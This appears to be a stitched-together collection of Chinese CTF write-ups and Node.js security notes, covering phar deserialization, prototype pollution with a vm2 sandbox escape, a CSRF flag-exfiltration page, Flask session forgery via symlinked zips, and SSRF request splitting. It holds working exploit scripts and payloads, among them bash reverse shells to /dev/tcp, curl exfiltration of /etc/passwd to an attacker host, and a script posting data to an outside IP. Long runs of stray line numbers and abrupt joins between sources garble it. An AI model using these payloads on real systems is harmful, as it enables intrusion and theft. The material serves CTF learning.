$this->filename=$filename;
}

}
class User
{
public $db;
}
$a=new User();
$b=new FileList();
$a->db=$b;
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置sutb
$phar->setMetadata($a);//将自定义的meta-data存入manifest
$phar->addFromString("1.txt","123123>");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
unlink('./phar.jpg');
rename("./phar.phar","./phar.jpg");

success

[HZNUCTF 2023 final]eznode

考点NodeJs原型链污染VM沙箱逃逸

界面提示查看源码,猜测是node.js配置错误造成的源码泄露,也可以扫目录访问app.js获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
try {
new VM().run({}.shellcode);
} catch (e) {
console.log(e);
}
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}


app.get('/', function (req, res) {
res.send("POST some json shit to /. no source code and try to find source code");
});

app.post('/', function (req, res) {
try {
console.log(req.body)
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.shit) {
backdoor()
}
res.send("post shit ok")
}catch(e){
res.send("is it shit ?")
console.log(e)
}
})

app.listen(3000, function () {
console.log('start listening on port 3000');
});

发现一个merge函数,原型链污染的常客,大概就是在页面post传递一个json数据,会经过json.parse函数解析,然后再通过clone()函数复制到copybody变量中,最后判断该变量的shit值是否为真,然后调用backdoor()函数在VM2沙箱中执行{}.shellcode属性。

backdoor函数利用vm2执行shellcode,这个shellcode其他地方没有得传值,所以我们利用原型链污染传递shellcode,污染成VM2沙箱逃逸的payload即可执行任意命令。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: node5.anna.nssctf.cn:28667
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1715092418,1715151077,1715346525,1715353848; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1715354979
If-None-Match: W/"45-KUkQHynRoADpxoiD+yQ19DdXfCU"
Connection: close
Content-Type: application/json
Content-Length: 238

{"shit":"1","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor('return this')().process.mainModule.require('child_process').execSync(\"bash -c 'bash -i >&/dev/tcp/ip/port 0>&1'\").toString();"}}

注意Content-Type: application/json

3150d5aa350ae1c5ebb8ed4568d155aa

[GKCTF 2021]CheckBot

考点CSRF

扫目录发现index.phpadmin.php

注释中有提示

1
2
3
4
5
<!--
I am a check admin bot, I will check your URL file suffix!
------------------------------------------------------------
POST url for bot!
-->

admin.phpid=flag的元素但提示

1
<p id="flag">no!you are 222.168.40.174</p>

应该是要本地访问鉴权就会回显flag,在index.php以POST方式传url,机器人会在后台点击我们发送的链接,带出flag传回到我们的vps上

关闭防火墙systemctl stop firewalld.service,开启http服务访问html文件python3 -m http.server 8000

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<body>
<iframe id="flag" src="http://127.0.0.1/admin.php"></iframe>
<script>
window.onload = function(){
/* Prepare flag */
let flag = document.getElementById("flag").contentWindow.document.getElementById("flag").innerHTML;
/* Export flag */
var exportFlag = new XMLHttpRequest();
exportFlag.open('get', 'http://39.106.249.221:9000/flagis-' + window.btoa(flag));
exportFlag.send();
}
</script>
</body>
</html>

监听端口可得到flag

[HCTF 2018]Hideandseek

考点软链接读取文件Flask Session伪造

导航栏并没有绑定路由,直接任意密码登录发现上传zip的功能点,猜测为软链接

尝试制作软链接读取/etc/passwd

1
2
ln -s /etc/passwd passwd
zip -y passwd.zip passwd

上传passwd.zip成功读取文件,尝试读取/flag,无回显

因为可以实现任意账号密码登陆,猜测可能没有数据库,而是通过Cookie判断,同时发现Cookie中存在Session,考点为FlaskSession伪造,先解密一下

1
2
[root@CentOs flask-session-cookie-manager-master]# python3 flask_session_cookie_manager3.py decode -c 'eyJ1c2VybmFtZSI6IjEifQ.GSiToA.SThbegmgGhHvJoxadFI0rgHhCfY'
b'{"username":"1"}'

想要伪造Session要知道Secret_Key,一般记录在源码中,需要找到源码位置后,配合软链接读取

这里为了快速读取需要的信息,参考网上WP写一个自动化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#coding=utf-8
import os
import requests
import sys

url = 'http://276bbd4d-16c0-428b-9bda-462c941d026f.node5.buuoj.cn/upload'
def makezip():
os.system('ln -s '+sys.argv[1]+' exp')
os.system('zip --symlinks exp.zip exp')
makezip()

files = {'the_file':open('./exp.zip','rb')}
def exploit():
res = requests.post(url,files=files)
print(res.text)

exploit()
os.system('rm -rf exp')
os.system('rm -rf exp.zip')

访问Linux的/proc/self/environ文件,它存放着环境变量,也就包括flask下的环境变量

1
2
3
4
5
[root@CentOs softlink]# python3 exp.py /proc/self/environ
/usr/local/lib/python3.6/site-packages/requests/__init__.py:104: RequestsDependencyWarning: urllib3 (1.26.16) or chardet (5.0.0)/charset_normalizer (2.0.12) doesn't match a supported version!
RequestsDependencyWarning)
adding: exp (stored 0%)
KUBERNETES_PORT=tcp://10.240.0.1:443KUBERNETES_SERVICE_PORT=443HOSTNAME=outSHLVL=1PYTHON_PIP_VERSION=19.1.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/uwsgi.iniWERKZEUG_SERVER_FD=3NGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/static_=/usr/local/bin/pythonUWSGI_CHEAPER=2WERKZEUG_RUN_MAIN=trueNGINX_VERSION=1.15.8-1~stretchKUBERNETES_PORT_443_TCP_ADDR=10.240.0.1PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.15.8.0.2.7-1~stretchKUBERNETES_PORT_443_TCP_PORT=443KUBERNETES_PORT_443_TCP_PROTO=tcpLANG=C.UTF-8PYTHON_VERSION=3.6.8KUBERNETES_SERVICE_PORT_HTTPS=443NGINX_WORKER_PROCESSES=1KUBERNETES_PORT_443_TCP=tcp://10.240.0.1:443LISTEN_PORT=80STATIC_INDEX=0PWD=/appKUBERNETES_SERVICE_HOST=10.240.0.1PYTHONPATH=/appSTATIC_PATH=/app/staticFLAG=not_flag

给了/app/uwsgi.ini,而这个文件是uwsgi.ini配置文件,这里学习到这是uwsgi服务器的配置文件,其中可能包含有源码路径,生产上一般使用client —> nginx —> uwsgi --> flask后台程序的流程,读取其内容

1
2
3
4
[uwsgi]
module = main
callable=app
logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log

由于buu环境配置问题导致此处源码路径错误,在网上找到正确的的源码路径读取

python3 exp.py /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)

if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'


try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None

os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)


if __name__ == '__main__':
#app.run(debug=True)
app.run(host='0.0.0.0', debug=True, port=10008)

app.config['SECRET_KEY'] = str(random.random()*100)这里的密钥是随机生成的,但是给了种子random.seed(uuid.getnode()),我们知道这个random是著名的伪随机数,我们只要知道播了的种子就能够生成和它产生一样的随机数

seed

发现uuid.getnode()的作用为返回Mac地址的十进制,类似算PIN时,搭配文件读取即可获得

1
2
python3 exp.py /sys/class/net/eth0/address
ae:bd:94:bf:71:e9

calc

将其转化为十进制,本地运行得到key

1
2
3
4
5
6
7
8
#coding=utf-8
import random

seed = 192129267626473
random.seed(seed)
secret_key = str(random.random()*100)
print(secret_key)
# 41.64679886573448

ceb0db1d3ce504ff554de9f5f0577952

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
我也是非常有幸能为大家去讲解CTF中nodejs的一些小知识,关于ctf-web系列课程已经在bilibili陆续发布 https://www.bilibili.com/video/BV1uL411P7xt/ ,大家在有什么疑问可以随时在评论区留言哦~

1 nodejs基础
1.1 nodejs的简单介绍
简单的说 Node.js 就是运行在服务端的 JavaScript。
Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。
Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。

nodejs语法学习

1.2 nodejs语言的缺点
1.2.1 大小写特性
toUpperCase()
toLowerCase()

对于toUpperCase(): 字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
对于toLowerCase(): 字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

1.2.2 弱类型比较
大小比较

js
console.log(1=='1'); //true
console.log(1>'2'); //false
console.log('1'<'2'); //true
console.log(111>'3'); //true
console.log('111'>'3'); //false
console.log('asd'>1); //false
总结:数字与字符串比较时,会优先将纯数字型字符串转为数字之后再进行比较;而字符串与字符串比较时,会将字符串的第一个字符转为ASCII码之后再进行比较,因此就会出现第五行代码的这种情况;而非数字型字符串与任何数字进行比较都是false

数组的比较:

js
console.log([]==[]); //false
console.log([]>[]); //false
console.log([6,2]>[5]); //true
console.log([100,2]<'test'); //true
console.log([1,2]<'2'); //true
console.log([11,16]<"10"); //false
总结:空数组之间比较永远为false,数组之间比较只比较数组间的第一个值,对第一个值采用前面总结的比较方法,数组与非数值型字符串比较,数组永远小于非数值型字符串;数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较

还有一些比较特别的相等:

js
console.log(null==undefined) // 输出:true
console.log(null===undefined) // 输出:false
console.log(NaN==NaN) // 输出:false
console.log(NaN===NaN) // 输出:false
变量拼接

js
console.log(5+[6,6]); //56,3
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6
1.2.3 MD5的绕过
js
a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)
a[x]=1&b[x]=2

数组会被解析成[object Object]

js
a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

a=[1]
b=[2]

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
1.2.4 编码绕过
16进制编码

js
console.log("a"==="\x61"); // true
unicode编码

js
console.log("\u0061"==="a"); // true
base编码

js
eval(Buffer.from('Y29uc29sZS5sb2coImhhaGFoYWhhIik7','base64').toString())
1.3 nodejs危险函数的利用
1.3.1 nodejs危险函数-命令执行
exec()

js
require('child_process').exec('open /System/Applications/Calculator.app');
eval()

js
console.log(eval("document.cookie")); //执行document.cookie
console.log("document.cookie"); //输出document.cookie
1.3.2 nodejs危险函数-文件读写


readFileSync()

js
require('fs').readFile('/etc/passwd', 'utf-8', (err, data) => {
if (err) throw err;
console.log(data);
});
readFile()

js
require('fs').readFileSync('/etc/passwd','utf-8')


writeFileSync()

js
require('fs').writeFileSync('input.txt','sss');
writeFile()

js
require('fs').writeFile('input.txt','test',(err)=>{})
1.3.3 nodejs危险函数-RCE bypass
bypass

原型:

js
require("child_process").execSync('cat flag.txt')
字符拼接:

js
require("child_process")['exe'%2b'cSync']('cat flag.txt')
//(%2b就是+的url编码)

require('child_process')["exe".concat("cSync")]("open /System/Applications/Calculator.app/")
编码绕过:

js
require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cat flag.txt')
require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('cat fl001g.txt')
eval(Buffer.from('cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCdvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwLycpOw==','base64').toString()) //弹计算器
模板拼接:

js
require("child_process")[`${`${`exe`}cSync`}`]('open /System/Applications/Calculator.app/')
其他函数:

js
require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); *//调用某个可执行文件,在第二个参数传args*
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);
1.4 nodejs中的ssrf
1.4.1 通过拆分请求实现的ssrf攻击
原理

虽然用户发出的http请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符。相反,这些字符被截断为其JavaScript表示的最低字节

js
> v = "/caf\u{E9}\u{01F436}"
'/café🐶'

> Buffer.from(v,'latin1').toString('latin1')
'/café=6'
Crlf HTTP头注入:

js
> require('http').get('http://example.com/\r\n/test')._header
'GET //test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n'
通过crlf结合ssrf利用

题目连接:

https://buuoj.cn/challenges#[GYCTF2020]Node%20Game

源码:

js
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path'); // 处理文件路径
var http = require('http');
var pug = require(`pug`); // 模板渲染
var morgan = require('morgan'); // 日志
const multer = require('multer'); // 用于处理multipart/form-data类型的表单数据,实现上传功能

// 将上传的文件存储在./dist[自动创建]返回一个名为file的文件数组
app.use(multer({dest: './dist'}).array('file'));
// 使用简化版日志
app.use(morgan('short'));

// 静态文件路由
app.use("/uploads", express.static(path.join(__dirname, '/uploads')))
app.use("/template", express.static(path.join(__dirname, '/template')))
app.get('/', function (req, res) {
// GET方法获取action参数
var action = req.query.action ? req.query.action : "index";
// action中不能包含/ & \
if (action.includes("/") || action.includes("\\")) {
res.send("Errrrr, You have been Blocked");
}

// 将/template/[action].pug渲染成html输出到根目录
file = path.join(__dirname + '/template/' + action + '.pug');
var html = pug.renderFile(file);
res.send(html);
});

app.post('/file_upload', function (req, res) {
var ip = req.connection.remoteAddress; // remoteAddress无法伪造,因为TCP有三次握手,伪造源IP会导致无法完成TCP连接
var obj = {msg: '',}
// 请求必须来自localhost
if (!ip.includes('127.0.0.1')) {
obj.msg = "only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function (err, data) {
if (err) {
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
} else {
// 文件路径为/uploads/[mimetype]/filename,mimetype可以进行目录穿越实现将文件存储至/template并利用action渲染到界面
var file_path = '/uploads/' + req.files[0].mimetype + "/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
if (!fs.existsSync(__dirname + file_path)) {
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file, data)
obj = {msg: 'upload success', filename: file_path + file_name}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})

// 查看题目源码
app.get('/source', function (req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt')); });
app.get('/core', function (req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)

// 对url字符进行waf
var trigger = blacklist(url);
if (trigger === true) {
res.send("error occurs!");
} else {
try {

// node对/source发出请求,此处可以利用字符破坏进行切分攻击访问/file_upload路由(❗️此请求发出者为localhost主机),实现对remoteAddress的绕过
http.get(url, function (resp) {
resp.setEncoding('utf8');
resp.on('error', function (err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
}
});

// 返回结果输出到/core
resp.on('data', function (chunk) {
try {
resps = chunk.toString();
res.send(resps);
} catch (e) {
res.send(e.message);
}
}).on('error', (e) => {
res.send(e.message);
});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})
// 关键字waf 利用字符串拼接实现绕过
function blacklist(url) {
var evilwords = ["global", "process", "mainModule", "require", "root", "child_process", "exec", "\"", "'", "!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}
var server = app.listen(8081, function () {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
exp:

python
import requests

payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZUlQgK81vgN7OB8A

{}""".replace('\n', '\r\n')

body = """------WebKitFormBoundaryZUlQgK81vgN7OB8A
Content-Disposition: form-data; name="file"; filename="lethe.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundaryZUlQgK81vgN7OB8A--

""".replace('\n', '\r\n')

payload = payload.format(len(body), body) \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('\r\n', '\u010d\u010a') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
+ 'GET' + '\u0120' + '/'

requests.get('http://ec05f88c-b4d9-4408-bdc5-56e251328bb1.node4.buuoj.cn:81/core?q=' + payload)

print(requests.get('http://ec05f88c-b4d9-4408-bdc5-56e251328bb1.node4.buuoj.cn:81/?action=lethe').text)
https://xz.aliyun.com/t/2894#toc-2

2 nodejs原型链污染
2.1 prototype原型
简介:

对于使用过基于类的语言 (如 Java 或 C++) 的开发者们来说,JavaScript 实在是有些令人困惑 —— JavaScript 是动态的,本身不提供一个 class 的实现。即便是在 ES2015/ES6 中引入了 class 关键字,但那也只是语法糖,JavaScript 仍然是基于原型的。

当谈到继承时,JavaScript 只有一种结构:对象。每个实例对象(object)都有一个私有属性(称之为 proto )指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象(__proto__),层层向上直到一个对象的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。

几乎所有 JavaScript 中的对象都是位于原型链顶端的 Object 的实例。

尽管这种原型继承通常被认为是 JavaScript 的弱点之一,但是原型继承模型本身实际上比经典模型更强大。例如,在原型模型的基础上构建经典模型相当简单。

js
function Foo(name,age){
this.name=name;
this.age=age;
}
Object.prototype.toString=function(){
console.log("I'm "+this.name+" And I'm "+this.age);
}


var fn=new Foo('xiaoming',19);
fn.toString();
console.log(fn.toString===Foo.prototype.__proto__.toString);

console.log(fn.__proto__===Foo.prototype)
console.log(Foo.prototype.__proto__===Object.prototype)
console.log(Object.prototype.__proto__===null)


2.2 原型链污染原理
在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

js
// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar,此时bar为2
console.log(zoo.bar)
2.3 原型链污染配合RCE
有原型链污染的前提之下,我们可以控制基类的成员,赋值为一串恶意代码,从而造成代码注入。

js
let foo = {bar: 1}

console.log(foo.bar)

foo.__proto__.bar = 'require(\'child_process\').execSync(\'open /System/Applications/Calculator.app/\');'

console.log(foo.bar)

let zoo = {}

console.log(eval(zoo.bar))
3 vm沙箱逃逸
vm是用来实现一个沙箱环境,可以安全的执行不受信任的代码而不会影响到主程序。但是可以通过构造语句来进行逃逸

逃逸例子:

js
const vm = require("vm");
const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(env);
js
const vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
const context = vm.createContext(sandbox);
env = script.runInContext(context);
console.log(env);
执行以上两个例子之后可以获取到主程序环境中的环境变量(两个例子代码等价)

创建vm环境时,首先要初始化一个对象 sandbox,这个对象就是vm中脚本执行时的全局环境context,vm 脚本中全局 this 指向的就是这个对象。

因为this.constructor.constructor返回的是一个Function constructor,所以可以利用Function对象构造一个函数并执行。(此时Function对象的上下文环境是处于主程序中的) 这里构造的函数内的语句是return this.process.env,结果是返回了主程序的环境变量。

配合chile_process.exec()就可以执行任意命令了:

js
const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
Node.js 常见漏洞学习与总结

Threezh1 / 2020-02-11 08:58:36 / 浏览数 30605 社区板块 WEB安全顶(5) 踩(0)
危险函数所导致的命令执行
eval()
eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。和PHP中eval函数一样,如果传递到函数中的参数可控并且没有经过严格的过滤时,就会导致漏洞的出现。

简单例子:

main.js

var express = require("express");
var app = express();

app.get('/eval',function(req,res){
res.send(eval(req.query.q));
console.log(req.query.q);
})

var server = app.listen(8888, function() {
console.log("应用实例,访问地址为 http://127.0.0.1:8888/");
})
漏洞利用:

Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用。

弹计算器(windows):

/eval?q=require('child_process').exec('calc');
读取文件(linux):

/eval?q=require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');;
反弹shell(linux):

/eval?q=require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx|base64 -d|bash');

YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx是bash -i >& /dev/tcp/127.0.0.1/3333 0>&1 BASE64加密后的结果,直接调用会报错。

注意:BASE64加密后的字符中有一个+号需要url编码为%2B(一定情况下)
如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load('child_process').exec('calc')来执行命令

paypal一个命令执行的例子:

[demo.paypal.com] Node.js code injection (RCE)

(使用数组绕过过滤,再调用child_process执行命令)

类似命令
间隔两秒执行函数:

setInteval(some_function, 2000)
两秒后执行函数:

setTimeout(some_function, 2000);
some_function处就类似于eval函数的参数

输出HelloWorld:

Function("console.log('HelloWolrd')")()
类似于php中的create_function

以上都可以导致命令执行

Node.js 原型污染漏洞
Javascript原型链参考文章:继承与原型链

关于原型链
文章内关于原型和原型链的知识写的非常详细,就不再总结整个过程了,以下为几个比较重要的点:

在javascript,每一个实例对象都有一个prototype属性,prototype 属性可以向对象添加属性和方法。
例子:

object.prototype.name=value
在javascript,每一个实例对象都有一个__proto__属性,这个实例属性指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对象的原型对象:
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype
不同对象所生成的原型链如下(部分):
var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null

var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null

function f(){
return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null
原型链污染原理
对于语句:object[a][b] = value 如果可以控制a、b、value的值,将a设置为__proto__,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。

来看一个简单的例子:

object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = {"c":1, "d":2};
console.log(object2.foo);


最终会输出两个Hello World。为什么object2在没有设置foo属性的情况下,也会输出Hello World呢?就是因为在第二条语句中,我们对object1的原型对象设置了一个foo属性,而object2和object1一样,都是继承了Object.prototype。在获取object2.foo时,由于object2本身不存在foo属性,就会往父类Object.prototype中去寻找。这就造成了一个原型链污染,所以原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象。

merge操作导致原型链污染
